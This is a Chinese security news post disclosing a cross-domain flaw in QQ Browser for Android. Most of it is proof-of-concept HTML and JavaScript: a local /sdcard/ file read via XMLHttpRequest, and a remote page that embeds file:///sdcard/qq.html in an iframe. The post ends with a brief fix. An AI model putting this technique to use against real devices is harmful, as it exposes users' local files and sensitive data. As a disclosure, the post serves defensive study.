频道栏目
首页 > 资讯 > 系统安全 > 正文

QQ浏览器for android跨域及修复

13-12-06        来源:[db:作者]  
收藏   我要投稿
QQ 浏览器 for android 在跨域实现上存在缺陷导致漏洞。
 
原则上从 internet 域禁止访问 file 域,但是 QQ 浏览器在实现上存在缺陷,造成可以从 internet 域访问到 file 域上的文件,如果 file 域上存在一个漏洞文件则可以获取手机端的敏感信息等。
 
1、在手机上生成一个如下代码的 html 文件,位置随意,我这里放置到 /sdcard/ 目录下:
 
<script type="text/javascript">

var request = false;

if (window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    if (request.overrideMimeType) {

        request.overrideMimeType("text/xml");

    }

} else if (window.ActiveXObject) {

    var versions = ["Microsoft.XMLHTTP", "MSXML.XMLHTTP", "Microsoft.XMLHTTP", "Msxml2.XMLHTTP.7.0", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP"];

    for (var i = 0; i < versions.length; i++) {

        try {

            request = new ActiveXObject(versions[i]);

        } catch (e) {}

    }

}

xmlhttp = request;

xmlhttp.open("GET", document.URL, false);

xmlhttp.send(null);

alert(xmlhttp.responseText);

</script>

 

 
 
2、在任意 internet 域下上传一个如下代码的 html 文件,比如 http://victim.com/ 下:
 
<!DOCTYPE html>

<html>

<head>

<meta http-equiv="content-type" content="text/html;charset=utf-8">

<title>qq browser file vul</title>

<body>

<script type="text/javascript">

</script>

sdcard file <br/>

<iframe src="file:///sdcard/qq.html"></iframe>

</body>

</html>

 

 
 
3、通过 http://victim.com/qq.html 进行访问,如下图
 
 
 
PS:至于怎么在手机上放置一个存在漏洞的文件那又是另外一个问题了。
 
修复方案:
1、限定 internet 域对 file 域的访问
相关TAG标签
上一篇:再再再绕过百度杀毒任意执行代码(POC)
下一篇:Web 安全学习笔记
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站